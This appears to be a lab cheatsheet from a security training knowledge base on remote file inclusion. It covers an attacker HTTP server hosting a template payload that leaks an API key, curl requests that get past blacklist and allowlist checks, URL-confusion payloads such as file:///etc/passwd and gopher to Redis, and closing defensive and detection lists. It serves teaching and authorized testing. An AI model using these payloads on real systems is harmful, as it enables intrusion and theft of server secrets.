Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 09. RFI

Cheatsheet

Use this as a quick reference while testing RFI in labs and authorized assessments.


Common Parameters

url
uri
remote
resource
source
feed
import
template_url
theme_url
plugin_url
callback
next

Attacker Server

Start a local attacker-controlled HTTP server:

mkdir -p /tmp/ootw-rfi-attacker
cat > /tmp/ootw-rfi-attacker/notice.txt <<'EOF'
Remote notice for {{ username }}.
Arithmetic proof: {{ 7 * 7 }}
Context proof: {{ profile.api_key }}
EOF
python3 -m http.server 8001 --directory /tmp/ootw-rfi-attacker

Payload URL:

http://127.0.0.1:8001/notice.txt

Lab curl Checks

Basic RFI:

curl -i -X POST "http://127.0.0.1:5000/rfi/basic" \
  --data-urlencode "url=http://127.0.0.1:8001/notice.txt"

Weak blacklist bypass:

curl -i -X POST "http://127.0.0.1:5000/rfi/blacklist" \
  --data-urlencode "url=http://localhost:8001/notice.txt"

Naive allowlist bypass:

curl -i -X POST "http://127.0.0.1:5000/rfi/better" \
  --data-urlencode "url=http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt"

Fixed route:

curl -i -X POST "http://127.0.0.1:5000/rfi/fixed" \
  --data-urlencode "template_id=notice"

Expected matrix:

/rfi/basic      remote file fetched and rendered
/rfi/blacklist  localhost bypasses the 127.0.0.1 string block
/rfi/better     userinfo bypass reaches 127.0.0.1
/rfi/fixed      no remote request is made

Response Clues

Remote notice
Arithmetic proof: 49
Context proof: ootw-rfi-demo-key
scheme=http
netloc=trusted-cdn.ootw.local@127.0.0.1:8001
hostname=127.0.0.1

Useful comparisons:

attacker server access log
status code
response size
parsed hostname
rendered template output
audit decision

URL Confusion Payloads

Loopback:

http://127.0.0.1:8001/
http://localhost:8001/

Userinfo confusion:

http://trusted.example@127.0.0.1:8001/

Trusted-looking subdomain:

http://trusted.example.attacker.local/

Scheme confusion to reject:

file:///etc/passwd
gopher://127.0.0.1:6379/
ftp://127.0.0.1/file

Redirects to re-check:

http://trusted.example/redirect-to-localhost

What To Prove

For RFI, prove:

The backend made a request to an attacker-controlled URL.
The remote response was included in the application response.
The remote response was treated as template/code if that is the sink.
The fixed route no longer makes the remote request.

Do not stop at "the URL was accepted." The server-side fetch is the primitive.


Defensive Review

Confirm:

  • User input cannot choose template, plugin, or executable remote URLs.
  • Remote content is treated as untrusted data.
  • URL allowlists use parsed hostname, scheme, and port.
  • Userinfo is rejected.
  • Redirects are disabled or re-validated after every hop.
  • Loopback, private, link-local, and internal address ranges are blocked.
  • DNS resolution is handled carefully.
  • Timeouts and maximum response sizes are enforced.
  • Outbound network access is restricted.
  • Remote fetch attempts are logged.

Detection

Watch for:

url=http
template_url=http
remote=http
source=http
127.0.0.1
localhost
169.254.169.254
trusted.example@127.0.0.1
{{ 7 * 7 }}
{{ profile.api_key }}

High-value log fields:

requested URL
parsed hostname
resolved IP
redirect target
decision
response size
fetch error
user ID
source IP